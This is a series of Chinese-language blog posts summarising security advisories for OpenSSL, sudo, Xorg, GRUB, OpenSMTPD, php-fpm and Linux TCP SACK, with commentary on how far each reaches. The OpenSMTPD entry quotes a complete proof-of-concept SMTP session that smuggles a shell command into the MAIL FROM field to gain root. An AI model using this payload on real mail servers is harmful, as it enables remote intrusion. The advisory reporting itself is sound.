這次 OpenSSL 的兩個 CVE

難得在 Hacker News 首頁上看到 OpenSSLCVE:「OpenSSL Security Advisory [5 July 2022]」,相關的討論在「OpenSSL Security Advisory (openssl.org)」。

第一個 CVE 是 RCE 等級,但觸發條件有點多:

首先是 RSA 2048bits,這個條件應該算容易發生的。

第二個是,因為這個安全問題是因為 OpenSSL 3.0.4 才引入的程式碼,而 OpenSSL 3.0.4 是 2022/06/21 發表的,未必有很多人有升級。

第三個是,因為這次出包的段落是用到了 AVX-512 指令集,一定要 Intel 或是 Centaur 的 CPU,後面這家公司前身就是威盛 (VIA) 的一員,去年賣給了 Intel (然後發現連官網用的 domain 都沒續約...)。

AMD 雖然在 Zen 4 架構上支援 AVX-512,但還沒推出產品,所以直接閃避 XD

另外第三個還有額外的限制,因為這次用到的是 IFMA 指令集,所以也不是所有有支援 AVX-512 的 CPU 都會中獎:

只看 Intel 的部份,第一個支援 IFMA 的是 2018 年推出的 Cannon Lake,這個架構只有一顆行動版的 Intel® Core™ i3-8121U Processor

真正大量支援 IFMA 的是 2019 後的 Intel CPU 了,但到了去年推出的 Alder Lake 因為 E-core 不支援 AVX-512 的關係 (但 P-core 支援),預設又關掉了。

所以如果問這個 bug 嚴不嚴重,當然是很嚴重,但影響範圍就有點微妙了。

接下來講第二個 CVE,是 AES OCB 的實做問題,比較有趣的地方是 Hacker News 上的討論引出了 Mosh 的作者跳出來說明,他居然提到他們在二月的時候試著換到 OpenSSL 的 AES OCB 時有測出這個 bug,被 test case 擋下來了:

Mosh uses AES-OCB (and has since 2011), and we found this bug when we tried to switch over to the OpenSSL implementation (away from our own ocb.cc taken from the original authors) and Launchpad ran it through our CI testsuite as part of the Mosh dev PPA build for i686 Ubuntu. (It wasn't caught by GitHub Actions because it only happens on 32-bit x86.) https://github.com/mobile-shell/mosh/issues/1174 for more.

So I would say (a) OCB is widely used, at least by the ~million Mosh users on various platforms, and (b) this episode somewhat reinforces my (perhaps overweight already) paranoia about depending on other people's code or the blast radius of even well-meaning pull requests. (We really wanted to switch over to the OpenSSL implementation rather than shipping our own, in part because ours was depending on some OpenSSL AES primitives that OpenSSL recently deprecated for external users.)

Maybe one lesson here is that many people believe in the benefits of unit tests for their own code, but we're not as thorough or experienced in writing acceptance tests for our dependencies.

Mosh got lucky this time that we had pretty good tests that exercised the library enough to find this bug, and we run them as part of the package build, but it's not that farfetched to imagine that we might have users on a platform that we don't build a package for (and therefore don't run our testsuite on).

這有點有趣 XDDD

CVE-2021-32471 發了一個 1967 年電腦的安全性漏洞?

Hacker News 首頁上看到好幾則都在講 CVE-2021-32471

Insufficient input validation in the Marvin Minsky 1967 implementation of the Universal Turing Machine allows program users to execute arbitrary code via crafted data. For example, a tape head may have an unexpected location after the processing of input composed of As and Bs (instead of 0s and 1s). NOTE: the discoverer states "this vulnerability has no real-world implications."

等下,今天不是四月第一天啊,現在已經五月多了啊...

更新 Sudo (CVE-2021-3156)

Sudo 這次的安全性漏洞頗痛的:「CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)」。

依照 Sudo Security Alerts 這邊的說明,這次的漏洞只要是本機有執行權限的人都有機會打穿,不需要有 sudo 帳號權限:

A potential security issue exists in sudo that could be used by a local user to gain root privileges even when not listed in the sudoers file. Affected sudo versions are 1.8.2 through 1.8.31p2 and 1.9.0 through 1.9.5p1. Sudo 1.9.5p2 and above are not affected.

不限於本來就有 sudo 帳號 (但可能可執行指令受限) 就比較麻煩了,這代表從 web 之類的管道打進去以後 (可能是 www-data 身份),就可以用這個洞取得 root 權限,另外一條路是透過資料庫打進去後 (像是 mysql 身份) 取得。

該來把一堆機器更新了...

繞過 Screensaver Lock 的有趣話題...

Hacker News Daily 上看到「Screensaver lock by-pass via the virtual keyboard」這篇,裡面這邊題到了 screensaver lock 的有趣話題。

先講嚴肅一點的,這個 bug 被編號為 CVE-2020-25712,問題出在 xorg-x11-server 上:

A flaw was found in xorg-x11-server before 1.20.10. A heap-buffer overflow in XkbSetDeviceInfo may lead to a privilege escalation vulnerability. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.

比較有趣的事情是,這個 bug 是小朋友在亂玩時拉出 virtual keyboard 觸發的:

A few weeks ago, my kids wanted to hack my linux desktop, so they typed and clicked everywhere, while I was standing behind them looking at them play... when the screensaver core dumped and they actually hacked their way in! wow, those little hackers...

然後他說他自己搞不出來:

I tried to recreate the crash on my own with no success, maybe because it required more than 4 little hands typing and using the mouse on the virtual keyboard.

另外一個人也說他家小朋友也弄出 segfault 了:

My kids came upon a similar cinnamon-screensaver segfault! I've emailed details of how to reproduce the problem to root@linuxmint.com.

小朋友超強 XDDD

Ubuntu 16.04 出更新了...

看到 Ubuntu 16.04 (xenial) 在 support cycle 剩下不到一年的時候推出了 16.04.7:「Ubuntu 16.04.7 LTS released」。

看起來主要是修正 GRUB 的安全性問題:「USN-4432-1: GRUB 2 vulnerabilities」。

這次修正的 CVE 好像有點多,但全部都是與 GRUB 相關的... 另外可以看到包括 14.04 (trusty) 都有修正 (ESM,付費提供支援的版本)。

目前手上大多數機器都是 18.04 (bionic) 與 20.04 (focal) 了,會在 16.04 (xenial) 主要是 OpenVZ 的關係,雖然看起來還是有一台一直懶得動,該找機會弄一弄了...

OpenSMTPD RCE

在「OpenBSD OpenSMTPD Remote Code Execution Vulnerability (CVE-2020-7247)」這邊看到頗意外的 OpenSMTPD RCE,而且從「Qualys Security Advisory LPE and RCE in OpenSMTPD (CVE-2020-7247)」這邊的範例可以看到是個淺顯易懂的 exploit:

$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@example.org>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
        echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye

這樣有點歡樂...

CVE 成長速度好快啊...

看到 phpBB 公告的「phpBB 3.2.9 Release - Please Update」這邊,裡面提到了安全性更新的 CVE 編號:

The issues have been assigned CVE-2020-5501 and CVE-2020-5502 respectively.

想說今年也才過完六天而已... 撈了一下資料,發現寫這篇文章當下,CVE 編號已經被申請到 CVE-2020-5956 了,這速度有夠快 XDDD

最近的 nginx + php-fpm 安全性漏洞

這次的漏洞是在打 CTF (capture the flag) 的時候發現的,這個安全漏洞已經被給 CVE 編號並且修正了:「CVE-2019-11043」,回報者與官方的討論可以在「Sec Bug #78599 env_path_info underflow in fpm_main.c can lead to RCE」這邊看到。從回報的標題可以知道這次頗熱鬧的原因,是因為這次有機會 RCE (remote code execution)...

在「PHuiP-FPizdaM」這邊可以看到比較系統性的整理 (以及 exploit),看起來雖然有不少條件,但都不算太特別的指令,如果以全世界的機器來看,應該會有不少機器中獎...

Netflix 找到的 TCP 實做安全性問題...

這幾天的 Linux 主機都有收到 kernel 的更新,起因於 Netflix 發現並與社群一起修正了一系列 LinuxFreeBSD 上 TCP 實做 MSSSACK 的安全性問題:「https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001.md」。

其中最嚴重的應該是 CVE-2019-11477 這組,可以導致 Linux kernel panic,影響範圍從 2.6.29 開始的所有 kernel 版本。能夠升級的主機可以直接修正,無法升級的主機可以參考提出來的兩個 workaround:

Workaround #1: Block connections with a low MSS using one of the supplied filters. (The values in the filters are examples. You can apply a higher or lower limit, as appropriate for your environment.) Note that these filters may break legitimate connections which rely on a low MSS. Also, note that this mitigation is only effective if TCP probing is disabled (that is, the net.ipv4.tcp_mtu_probing sysctl is set to 0, which appears to be the default value for that sysctl).

Workaround #2: Disable SACK processing (/proc/sys/net/ipv4/tcp_sack set to 0).

第一個 workaround 是擋掉 MSS 過小的封包,但不保證就不會 kernel panic (文章裡面用語是 mitigation)。

第二個 workaround 是直接關掉 SACK,這組 workaround 在有 packet loss 的情況下效能會掉的比較明顯,但看起來可以避免直接 kernel panic...

CVE-2018-14665:setuid 複寫檔案的 security issue...

Twitter 上看到的 security issue,好久沒在這麼普及的軟體上看到這種 bug 了:

CVE - CVE-2018-14665 的說明裡面有提到 1.20.3 前的版本都有中,但沒講到從哪個版本開始,看起來是全系列...?

A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission check for -modulepath and -logfile options when starting Xorg. X server allows unprivileged users with the ability to log in to the system via physical console to escalate their privileges and run arbitrary code under root privileges.

這一臉 orz...